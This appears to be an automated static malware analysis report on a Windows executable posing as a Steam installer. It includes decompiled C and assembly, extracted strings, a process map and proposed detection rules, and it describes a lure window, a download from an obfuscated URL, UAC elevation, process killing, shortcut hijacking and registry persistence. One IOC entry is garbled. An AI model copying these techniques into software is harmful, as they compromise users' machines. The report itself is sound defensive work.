Extension normalizer: copies path to buffer with case conversion, checks if suffix matches expected extension, appends it if missing

extension normalizer · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007150(WCHAR *param_1)

{
  code *pcVar1;
  undefined2 uVar2;
  int iVar3;
  longlong lVar4;
  ulonglong uVar5;
  undefined1 auStack_248 [20];
  wchar_t local_234 [6];
  short local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_248;
  if ((param_1 != (WCHAR *)0x0) && (*param_1 != L'\0')) {
    lVar4 = (longlong)local_228 - (longlong)param_1;
    uVar5 = 0;
    do {
      if (0x102 < uVar5) break;
      uVar2 = FUN_140011004(*param_1);
      *(undefined2 *)(lVar4 + (longlong)param_1) = uVar2;
      uVar5 = uVar5 + 1;
      param_1 = param_1 + 1;
    } while (*param_1 != L'\0');
    if (0x207 < uVar5 * 2) {
      FUN_140008a58();
      pcVar1 = (code *)swi(3);
/* … 14 more lines */

Full function, callers and assembly →

Indicators (IOCs) 1

Values that would show up on an infected host or in network traffic, such as domains, URLs and file names, with where each was found.

1 of 1 IOC value(s) resolved from the report and the files the analysis wrote. Network values are defanged (hxxp, [.]); restore them before use.

ID	Type	Role	Value	Port	Layer	Method	Evidence	Note
I1	registry_key	other	`Saianihttps://plau.cohttps://plau.co`		L0	plaintext	E2	Steam install path registry key queried for lure placement

IOC list · 1 value(s), defanged, one per line

Saianihttps://plau.cohttps://plau.co

Decoded strings 10

Strings and config fields the analysis decoded, read from the files its decode steps wrote (derived artifacts), then the decoded, stack and tight strings FLOSS found in the prepass. At most 300 per layer are shown; long strings are cut at 300 characters with their length; control characters are escaped and URL schemes defanged.

L0 · 10 string(s)

out/L0/floss.json · FLOSS stack strings · 8 entries, from FLOSS stack strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

8 shown

#	Value	Encoding	Function	Method
1	6[.Z.Z*Z)Z`ZuZuZ	ASCII	0x140005750	floss stack
2	`3Z9Z(Z5Z`	ASCII	0x140005750	floss stack
3	`tZ9Z5Z7Z]`	ASCII	0x140005750	floss stack
4	`3Z4Z1ZuZ`	ASCII	0x140005750	floss stack
5	`3Z4Z1Z`	ASCII	0x140005750	floss stack
6	`d=2124703`	UTF-16LE	0x140005750	floss stack
7	`CopyFileW`	ASCII	0x140008650	floss stack
8	`MoveFileW`	ASCII	0x140008650	floss stack

out/L0/floss.json · FLOSS tight strings · 2 entries, from FLOSS tight strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

2 shown

#	Value	Encoding	Function	Method
1	`.shop/43413`	UTF-16LE	0x140004ee0	floss tight
2	`\Valve\Steam`	UTF-16LE	0x140006170	floss tight

Process map (static) 41

Where the code can create, replace, detach or signal processes, read from the call graph without running the sample: each site with the call path from the entry point. Branch conditions are not evaluated, so this is what the code can start, not what one run did; sites the graph does not reach from the entry are listed, never hidden.

L0

PORTABLE EXECUTABLE (PE) x64: 41 sites (3 spawns a process, 1 service control, 37 signals a process), 34 reached from the entry.

0x140008e48
  └ 0x140008cd4   [TerminateProcess]
    └ 0x140012ce8   [TerminateProcess]
    └ 0x140012d44   [TerminateProcess]
    └ 0x140008650 (WinMain: creates a lure GUI window with Steam icon and enters the message pump)
      └ 0x140007950 (the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence)   [OpenSCManagerW, ShellExecuteExW]
        └ 0x140003f60
          └ 0x140010d60   [TerminateProcess]
            └ 0x14000e7b0   [TerminateProcess]
              └ 0x14000fdd8   [TerminateProcess]
                └ 0x1400100b0   [TerminateProcess]
                └ 0x14000fd48
                  └ 0x14000eafc   [TerminateProcess]
                └ 0x140010260
                  └ 0x14000f274   [TerminateProcess]
                  └ 0x14000f480   [TerminateProcess]
                  └ 0x14000f68c   [TerminateProcess]
                  └ 0x140010a70   [TerminateProcess]
                  └ 0x140010744
                    └ 0x140014824   [TerminateProcess]
                      └ 0x140013d10   [TerminateProcess]
                      └ 0x1400140a8   [TerminateProcess]
                        └ 0x1400141a4   [TerminateProcess]
                      └ 0x140014388   [TerminateProcess]
                      └ 0x1400145b8   [TerminateProcess]
        └ 0x140007270 (hijacks shortcut files via IShellLink COM: loads .lnk, compares target filename, replaces target path, arguments and icon)
          └ 0x140007150 (extension normalizer: ensures path ends with expected suffix, appending it if missing)
            └ 0x140008a58
              └ 0x140008a6c   [TerminateProcess]
      └ 0x140005ae0 (WndProc: handles WM_TIMER to trigger delayed download, WM_DESTROY for cleanup, WM_SIZE for rounded-region resize)
        └ 0x140005750 (downloads a file from a XOR-decoded URL to the temp directory via URLDownloadToFileW)   [ShellExecuteExW]
          └ 0x140001ff2
            └ 0x140003281
              └ 0x1400034da
                └ 0x1400120b0
                  └ 0x140011828   [TerminateProcess]
      └ 0x140008930
        └ 0x140008984   [TerminateProcess]
      └ 0x140006170 (resolves the Steam install path by querying HKLM\SOFTWARE\WOW6432Node\Valve\Steam and user-specific registry keys)
        └ 0x1400112c4
          └ 0x140013a88
            └ 0x140013920   [TerminateProcess]
    └ 0x140012d04
      └ 0x140013468
        └ 0x140013514   [TerminateProcess]
          └ 0x140017f00   [TerminateProcess]
    └ 0x140009130
      └ 0x140013430
        └ 0x1400184bc
          └ 0x1400182fc
            └ 0x140018218
              └ 0x14001817c
                └ 0x1400183e8
                  └ 0x14001835c
                    └ 0x14001b484   [TerminateProcess]
                      └ 0x14001b5a4   [TerminateProcess]

Call	What it does	In function	Site	Path from the entry
TerminateProcess	signals a process	0x140008cd4	140008e3f	0x140008e48 → 0x140008cd4
TerminateProcess	signals a process	0x140012ce8	140012cf0	0x140008e48 → 0x140008cd4 → 0x140012ce8
TerminateProcess	signals a process	0x140012d44	140012d49	0x140008e48 → 0x140008cd4 → 0x140012d44
ShellExecuteExW	spawns a process	0x140007950 (the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence)	140007c0b	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950
OpenSCManagerW	service control	0x140007950 (the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence)	140007cb3	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950
ShellExecuteExW	spawns a process	0x140005750 (downloads a file from a XOR-decoded URL to the temp directory via URLDownloadToFileW)	1400058db	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140005ae0 → 0x140005750
TerminateProcess	signals a process	0x140008984	140008a4c	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140008930 → 0x140008984
TerminateProcess	signals a process	0x140013514	140013564	0x140008e48 → 0x140008cd4 → 0x140012d04 → 0x140013468 → 0x140013514
TerminateProcess	signals a process	0x140010d60	140010e16	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60
TerminateProcess	signals a process	0x140017f00	140018172	0x140008e48 → 0x140008cd4 → 0x140012d04 → 0x140013468 → 0x140013514 → 0x140017f00
TerminateProcess	signals a process	0x14000e7b0	14000e812	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0
TerminateProcess	signals a process	0x140013920	14001396d	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140006170 → 0x1400112c4 → 0x140013a88 → 0x140013920
TerminateProcess	signals a process	0x140008a6c	140008afe	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140007270 → 0x140007150 → 0x140008a58 → 0x140008a6c
TerminateProcess	signals a process	0x14000fdd8	14000fe40	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8
TerminateProcess	signals a process	0x1400100b0	14001010f	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x1400100b0
TerminateProcess	signals a process	0x14000eafc	14000eb70	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x14000fd48 → 0x14000eafc
TerminateProcess	signals a process	0x14000f274	14000f3bb	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x14000f274
TerminateProcess	signals a process	0x14000f480	14000f5c7	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x14000f480
TerminateProcess	signals a process	0x14000f68c	14000f7d3	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x14000f68c
TerminateProcess	signals a process	0x140010a70	140010abd	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010a70
TerminateProcess	signals a process	0x140011828	14001189f	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140005ae0 → 0x140005750 → 0x140001ff2 → 0x140003281 → 0x1400034da → 0x1400120b0 → 0x140011828
TerminateProcess	signals a process	0x140014824	140014868	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824
TerminateProcess	signals a process	0x140014824	140014b03	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824
TerminateProcess	signals a process	0x14001b484	14001b51f	0x140008e48 → 0x140008cd4 → 0x140009130 → 0x140013430 → 0x1400184bc → 0x1400182fc → 0x140018218 → 0x14001817c → 0x1400183e8 → 0x14001835c → 0x14001b484
TerminateProcess	signals a process	0x140013d10	140013d7c	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x140013d10
TerminateProcess	signals a process	0x1400140a8	1400140ee	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400140a8
TerminateProcess	signals a process	0x1400140a8	140014146	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400140a8
TerminateProcess	signals a process	0x140014388	1400143cd	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x140014388
TerminateProcess	signals a process	0x140014388	14001441d	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x140014388
TerminateProcess	signals a process	0x1400145b8	140014600	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400145b8
TerminateProcess	signals a process	0x1400145b8	14001465b	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400145b8
TerminateProcess	signals a process	0x14001b5a4	14001b5fe	0x140008e48 → 0x140008cd4 → 0x140009130 → 0x140013430 → 0x1400184bc → 0x1400182fc → 0x140018218 → 0x14001817c → 0x1400183e8 → 0x14001835c → 0x14001b484 → 0x14001b5a4
TerminateProcess	signals a process	0x1400141a4	140014206	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400140a8 → 0x1400141a4
TerminateProcess	signals a process	0x1400141a4	14001437f	0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400140a8 → 0x1400141a4
ShellExecuteW	spawns a process	0x140004c50 (handles URL navigation events from the lure window and calls ShellExecuteW)	140004db5	not reached from the entry
TerminateProcess	signals a process	0x140012778	14001288d	not reached from the entry
TerminateProcess	signals a process	0x1400158ac	140015c93	not reached from the entry
TerminateProcess	signals a process	0x140015c9c	140015e1c	not reached from the entry
TerminateProcess	signals a process	0x14001c538	14001c56e	not reached from the entry
TerminateProcess	signals a process	0x14001c5b4	14001c5ea	not reached from the entry
TerminateProcess	signals a process	0x14001cf20	14001cfd4	not reached from the entry

Detection anchors 5

Features a detection rule could match on: what to match, where it sits in the file, how stable it is across builds, and what else might match it. They are proposals; CORD Detection measures them against clean software before any becomes a rule.

id	status	feature	scan type	scope	file	evidence	on disk	possible false matches	single sample only
A1	nominated	Steam registry query sequence in FUN_140006170 with XOR-decoded subkey followed by per-user uninstall lookup	realtime	build	Original	E2, E3	yes	Legitimate Steam tools reading the same registry path; filter by caller context	yes
A1 · where base function delta 0 window 806
A1 · pattern kind bytes norm RAW value ref E2
A1 · how stable tier behavioural_template why The Steam registry check is the targeting mechanism and would require a rewrite to change
A2	nominated	XOR decode pattern: DWORD blocks from 0x14002a510 XORed against data blocks, followed by 0x5a5a short XOR tail loop	batch	build	Original	E11	yes	None expected; combined key pattern is unusual	yes
A2 · where base section delta 0 window 652288
A2 · pattern kind bytes norm RAW value ref E11
A2 · how stable tier config why The XOR key value is build-specific but the combined DWORD plus 0x5a5a pattern is distinctive
A3	nominated	Installer function at 0x140007950 containing GetModuleFileNameW, Steam path resolution, SHCreateDirectoryExW, UAC elevation, service stop, process kill loop, file replacement and persistence setup	realtime	build	Original	E6	yes	None expected	yes
A3 · where base function delta 0 window 3288
A3 · pattern kind bytes norm RAW value ref E6
A3 · how stable tier behavioural_template why The function structure encodes the entire install logic
A4	nominated	PE rich header with 12 entries and max build 34435	batch	build	Original	E15	yes	Other VS2019 builds with the same tool versions; filter by other anchors	yes
A4 · where base file_offset delta 128 window 200
A4 · pattern kind metadata norm RAW value ref E15
A4 · how stable tier structural_constant why Tied to this build's toolchain; changes on recompile
A5	nominated	PE version info with 8 fields including a 95-char InternalName	realtime	build	Original	E16	yes	Other samples using the same spoofed version info	yes
A5 · where base resource delta 0 window 1812
A5 · pattern kind metadata norm RAW value ref E16
A5 · how stable tier config why Version info is easily changed but is a fast first filter

Open questions 2

Questions the analysis could not answer, what was tried, and why it stopped. Some may have been answered by a later step; check Decoded strings.

What are the XOR-decoded runtime strings (download URL, filenames, service name, process names, registry paths, shortcut wildcard)?

what was tried: Static decompilation shows XOR operations at 0x14002a510 against data blocks at 0x14002a2e0
why it stopped: Decode request deferred to a helper unit; emulation needed
stop: static_failed

What do the 10 RCDATA resources (IDs 103-113, 650 KB total) contain?

what was tried: Prepass identifies them as data and text with entropy 4.67-6.07
why it stopped: Resource decode request deferred; likely embedded web content for the GUI lure
stop: static_failed

How the code connects

Shortest call paths from the entry points to every function the report cites. Dashed edges are address-taken or virtual references (callbacks, thread procs, delegates, tables), not direct calls. Select a cited function to jump to its code; zoom and drag to pan a large graph.

From CORD Research's native call graph: 19 functions, 18 edges.

100%drag to panentry pointcitedon the wayreference

Paths as text · 17

downloads a file from a XOR-decoded URL…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 ~> wndProc 0x140005ae0 → downloads a file from a XOR-decoded URL… 0x140005750
creates rounded rectangle window region…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → creates rounded rectangle window region… 0x140005a60
wndProc: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 ~> wndProc 0x140005ae0
checks admin privileges via…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → checks admin privileges via… 0x140005e80
reads per-user uninstall registry…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → resolves the Steam install path by… 0x140006170 → reads per-user uninstall registry… 0x140005f00
resolves the Steam install path by…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → resolves the Steam install path by… 0x140006170
enumerates processes via…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → enumerates processes via… 0x1400064c0
enumerates processes and checks whether…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → enumerates processes and checks whether… 0x140006770
creates registry shell\open\command and…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → sets up registry persistence under HKCU… 0x140006d70 → creates registry shell\open\command and… 0x140006950
creates registry entries for…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → sets up registry persistence under HKCU… 0x140006d70 → creates registry entries for… 0x140006bb0
sets up registry persistence under HKCU…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → sets up registry persistence under HKCU… 0x140006d70
extension normalizer: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → hijacks shortcut files via IShellLink… 0x140007270 → extension normalizer 0x140007150
hijacks shortcut files via IShellLink…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → hijacks shortcut files via IShellLink… 0x140007270
recursively searches directories to…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → recursively searches directories to… 0x140007520
replaces files using dynamically…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → replaces files using dynamically… 0x140007680
the main installer: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950
winMain: 0x140008e48 → 0x140008cd4 → winMain 0x140008650

How those functions call each other (1 functions, up to three calls apart):

100%drag to panentry pointcitedon the wayreference

Code 18

Decompiled from the sample and the layers unpacking recovered, by the render step (not the analyst): Ghidra for native code (C and annotated assembly), ILSpy for .NET (C# and IL). FUN_… names are replaced by the report's names where it gives one. In the assembly, highlighted rows are addresses the evidence cites.

Index · 18 functions

Function	Address	Layer	Size	Cited as	Purpose	Behaviours
FUN_140004c50	0x140004c50	L0	426	E9	handles URL navigation events from the lure window and calls ShellExecuteW · behaviours: B7 gui_lure_window	B7
FUN_140005750	0x140005750	L0	748	E1	downloads a file from a XOR-decoded URL to the temp directory via URLDownloadToFileW · behaviours: B1 file_download	B1
FUN_140005a60	0x140005a60	L0	118	E19	creates rounded rectangle window region with 12px corners via CreateRoundRectRgn and SetWindowRgn · behaviours: B7 gui_lure_window	B7
FUN_140005ae0	0x140005ae0	L0	282	E17	WndProc: handles WM_TIMER to trigger delayed download, WM_DESTROY for cleanup, WM_SIZE for rounded-region resize · behaviours: B1 file_download; B7 gui_lure_window	B1, B7
FUN_140005e80	0x140005e80	L0	127	E12	checks admin privileges via OpenProcessToken and GetTokenInformation · behaviours: B10 uac_elevation	B10
FUN_140005f00	0x140005f00	L0	346	E3	reads per-user uninstall registry entries to find the Steam executable path · behaviours: B2 steam_path_resolution	B2
FUN_140006170	0x140006170	L0	806	E2	resolves the Steam install path by querying HKLM\SOFTWARE\WOW6432Node\Valve\Steam and user-specific registry keys · behaviours: B2 steam_path_resolution	B2
FUN_1400064c0	0x1400064c0	L0	651	E5	enumerates processes via CreateToolhelp32Snapshot and sends WM_CLOSE to matching windows · behaviours: B4 process_enumeration_and_kill	B4
FUN_140006770	0x140006770	L0	308		enumerates processes and checks whether specific process names are running · behaviours: B4 process_enumeration_and_kill	B4
FUN_140006950	0x140006950	L0	577		creates registry shell\open\command and DefaultIcon entries for a given file association · behaviours: B3 registry_persistence	B3
FUN_140006bb0	0x140006bb0	L0	445		creates registry entries for DisplayName, DisplayIcon and UninstallString under a given key · behaviours: B3 registry_persistence	B3
FUN_140006d70	0x140006d70	L0	961	E4	sets up registry persistence under HKCU and HKLM with XOR-decoded key names and random sleep · behaviours: B3 registry_persistence; B9 xor_string_decode	B3, B9
FUN_140007150	0x140007150	L0	271	E20	extension normalizer: ensures path ends with expected suffix, appending it if missing · behaviours: B12 shortcut_hijack	B12
FUN_140007270	0x140007270	L0	665	E18	hijacks shortcut files via IShellLink COM: loads .lnk, compares target filename, replaces target path, arguments and icon · behaviours: B12 shortcut_hijack	B12
FUN_140007520	0x140007520	L0	333	E7	recursively searches directories to depth 9 for files matching a wildcard · behaviours: B6 recursive_file_search	B6
FUN_140007680	0x140007680	L0	702	E10	replaces files using dynamically resolved CopyFileW and MoveFileW with cleanup · behaviours: B8 file_replacement	B8
FUN_140007950	0x140007950	L0	3288	E6, E13, E14	the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence · behaviours: B5 self_install; B10 uac_elevation; B11 service_stop; B12 shortcut_hijack	B5, B10, B11, B12
FUN_140008650	0x140008650	L0	690	E8	WinMain: creates a lure GUI window with Steam icon and enters the message pump · behaviours: B7 gui_lure_window	B7

handles URL navigation events from the…

0x140004c50426 bytes

undefined FUN_140004c50(undefined8 param_1, undefined8 param_2, longlong * param_3)

handles URL navigation events from the lure window and calls ShellExecuteW

Cited as: E9
Behaviours: B7
Called from: none found
Calls: CoTaskMemFree ShellExecuteW SendMessageW ReleaseCapture PostMessageW __security_check_cookie, FUN_140009a68, FUN_140009ae0, FUN_1400112c4

Decompiled C · 50 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140004c50(undefined8 param_1,undefined8 param_2,longlong *param_3)

{
  int iVar1;
  undefined1 (*pauVar2) [16];
  undefined1 (*pauVar3) [16];
  ushort *puVar4;
  ushort *puVar5;
  undefined1 auStackY_458 [32];
  undefined1 (*local_428 [2]) [16];
  WCHAR local_418 [512];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_458;
  local_428[0] = (undefined1 (*) [16])0x0;
  iVar1 = (**(code **)(*param_3 + 0x28))(param_3,local_428);
  pauVar3 = local_428[0];
  if (iVar1 < 0) {
  }
  if (local_428[0] != (undefined1 (*) [16])0x0) {
    pauVar2 = FUN_140009ae0(local_428[0],(undefined1 (*) [16])L"\"close\"");
    if (pauVar2 == (undefined1 (*) [16])0x0) {
      pauVar2 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"drag\"");
      if (pauVar2 == (undefined1 (*) [16])0x0) {
        pauVar2 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"openurl\"");
        if ((((pauVar2 != (undefined1 (*) [16])0x0) &&
             (pauVar3 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"url\""),
             pauVar3 != (undefined1 (*) [16])0x0)) &&
            (puVar4 = FUN_140009a68((ushort *)(*pauVar3 + 10),0x22), puVar4 != (ushort *)0x0)) &&
           ((puVar5 = FUN_140009a68(puVar4 + 1,0x22), puVar5 != (ushort *)0x0 &&
            (iVar1 = (int)((longlong)puVar5 - (longlong)puVar4 >> 1), iVar1 - 2U < 0x1fe)))) {
          FUN_1400112c4(local_418,0x200,(longlong)(puVar4 + 1),(longlong)(iVar1 + -1));
          ShellExecuteW((HWND)0x0,L"open",local_418,(LPCWSTR)0x0,(LPCWSTR)0x0,1);
        }
      }
      else {
        ReleaseCapture();
        SendMessageW(DAT_14002ffc8,0xa1,2,0);
      }
    }
    else {
      PostMessageW(DAT_14002ffc8,0x10,0,0);
    }
    CoTaskMemFree(local_428[0]);
  }
}

Assembly · 90 instructions, 6 annotated

Address	Bytes	Instruction	Comment
140004c50	48 81 ec 58 04 00 00	SUB RSP,0x458
140004c57	48 8b 05 e2 93 02 00	MOV RAX,qword ptr [DAT_14002e040]
140004c5e	48 33 c4	XOR RAX,RSP
140004c61	48 89 84 24 40 04 00 00	MOV qword ptr [RSP + local_18],RAX
140004c69	49 8b 00	MOV RAX,qword ptr [R8]
140004c6c	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
140004c71	49 8b c8	MOV RCX,R8
140004c74	48 c7 44 24 30 00 00 00 …	MOV qword ptr [RSP + local_428],0x0
140004c7d	ff 50 28	CALL qword ptr [RAX + 0x28]
140004c80	85 c0	TEST EAX,EAX
140004c82	0f 88 68 01 00 00	JS LAB_140004df0
LAB_140004c88:
140004c88	48 89 9c 24 60 04 00 00	MOV qword ptr [RSP + local_res8],RBX
140004c90	48 8b 5c 24 30	MOV RBX,qword ptr [RSP + local_428]
140004c95	48 85 db	TEST RBX,RBX
140004c98	0f 84 30 01 00 00	JZ LAB_140004dce
140004c9e	48 8d 15 5b 48 02 00	LEA RDX,[u_"close"_140029500]	; "\"close\""
140004ca5	48 8b cb	MOV RCX,RBX
140004ca8	e8 33 4e 00 00	CALL FUN_140009ae0
140004cad	48 85 c0	TEST RAX,RAX
140004cb0	74 1d	JZ LAB_140004ccf
140004cb2	48 8b 0d 0f b3 02 00	MOV RCX,qword ptr [DAT_14002ffc8]
140004cb9	45 33 c9	XOR R9D,R9D
140004cbc	45 33 c0	XOR R8D,R8D
140004cbf	ba 10 00 00 00	MOV EDX,0x10
140004cc4	ff 15 ee a7 01 00	CALL qword ptr [PTR_PostMessageW_14001f4b8]
140004cca	e9 f4 00 00 00	JMP LAB_140004dc3
LAB_140004ccf:
140004ccf	48 8d 15 3a 48 02 00	LEA RDX,[u_"drag"_140029510]	; "\"drag\""
140004cd6	48 8b cb	MOV RCX,RBX
140004cd9	e8 02 4e 00 00	CALL FUN_140009ae0
140004cde	48 85 c0	TEST RAX,RAX
140004ce1	74 26	JZ LAB_140004d09
140004ce3	ff 15 a7 a7 01 00	CALL qword ptr [PTR_ReleaseCapture_14001f490]
140004ce9	48 8b 0d d8 b2 02 00	MOV RCX,qword ptr [DAT_14002ffc8]
140004cf0	45 33 c9	XOR R9D,R9D
140004cf3	ba a1 00 00 00	MOV EDX,0xa1
140004cf8	41 b8 02 00 00 00	MOV R8D,0x2
140004cfe	ff 15 1c a7 01 00	CALL qword ptr [PTR_SendMessageW_14001f420]
140004d04	e9 ba 00 00 00	JMP LAB_140004dc3
LAB_140004d09:
140004d09	48 8d 15 10 48 02 00	LEA RDX,[u_"openurl"_140029520]	; "\"openurl\""
140004d10	48 8b cb	MOV RCX,RBX
140004d13	e8 c8 4d 00 00	CALL FUN_140009ae0
140004d18	48 85 c0	TEST RAX,RAX
140004d1b	0f 84 a2 00 00 00	JZ LAB_140004dc3
140004d21	48 8d 15 10 48 02 00	LEA RDX,[u_"url"_140029538]	; "\"url\""
140004d28	48 8b cb	MOV RCX,RBX
140004d2b	e8 b0 4d 00 00	CALL FUN_140009ae0
140004d30	48 85 c0	TEST RAX,RAX
140004d33	0f 84 8a 00 00 00	JZ LAB_140004dc3
140004d39	ba 22 00 00 00	MOV EDX,0x22
140004d3e	48 8d 48 0a	LEA RCX,[RAX + 0xa]
140004d42	e8 21 4d 00 00	CALL FUN_140009a68
140004d47	48 8b d8	MOV RBX,RAX
140004d4a	48 85 c0	TEST RAX,RAX
140004d4d	74 74	JZ LAB_140004dc3
140004d4f	ba 22 00 00 00	MOV EDX,0x22
LAB_140004d54:
140004d54	48 89 bc 24 50 04 00 00	MOV qword ptr [RSP + local_8],RDI
140004d5c	48 8d 48 02	LEA RCX,[RAX + 0x2]
140004d60	e8 03 4d 00 00	CALL FUN_140009a68
140004d65	48 85 c0	TEST RAX,RAX
140004d68	74 51	JZ LAB_140004dbb
140004d6a	48 2b c3	SUB RAX,RBX
140004d6d	48 d1 f8	SAR RAX,0x1
140004d70	ff c8	DEC EAX
140004d72	8d 48 ff	LEA ECX,[RAX + -0x1]
140004d75	81 f9 fd 01 00 00	CMP ECX,0x1fd
140004d7b	77 3e	JA LAB_140004dbb
140004d7d	4c 63 c8	MOVSXD R9,EAX
140004d80	4c 8d 43 02	LEA R8,[RBX + 0x2]
140004d84	ba 00 02 00 00	MOV EDX,0x200
140004d89	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
140004d8e	e8 31 c5 00 00	CALL FUN_1400112c4	; FUN_1400112c4: GetLastError, SetLastError
140004d93	45 33 c9	XOR R9D,R9D
140004d96	c7 44 24 28 01 00 00 00	MOV dword ptr [RSP + local_430],0x1
140004d9e	4c 8d 44 24 40	LEA R8,[RSP + 0x40]
140004da3	48 c7 44 24 20 00 00 00 …	MOV qword ptr [RSP + local_438],0x0
140004dac	48 8d 15 95 47 02 00	LEA RDX,[u_open_140029548]	; "open"
140004db3	33 c9	XOR ECX,ECX
140004db5	ff 15 1d a6 01 00	CALL qword ptr [PTR_ShellExecuteW_14001f3d8]
LAB_140004dbb:
140004dbb	48 8b bc 24 50 04 00 00	MOV RDI,qword ptr [RSP + local_8]
LAB_140004dc3:
140004dc3	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_428]
140004dc8	ff 15 32 a7 01 00	CALL qword ptr [PTR_CoTaskMemFree_14001f500]
LAB_140004dce:
140004dce	48 8b 9c 24 60 04 00 00	MOV RBX,qword ptr [RSP + local_res8]
140004dd6	33 c0	XOR EAX,EAX
140004dd8	48 8b 8c 24 40 04 00 00	MOV RCX,qword ptr [RSP + local_18]
140004de0	48 33 cc	XOR RCX,RSP
140004de3	e8 48 3b 00 00	CALL __security_check_cookie
LAB_140004df0:
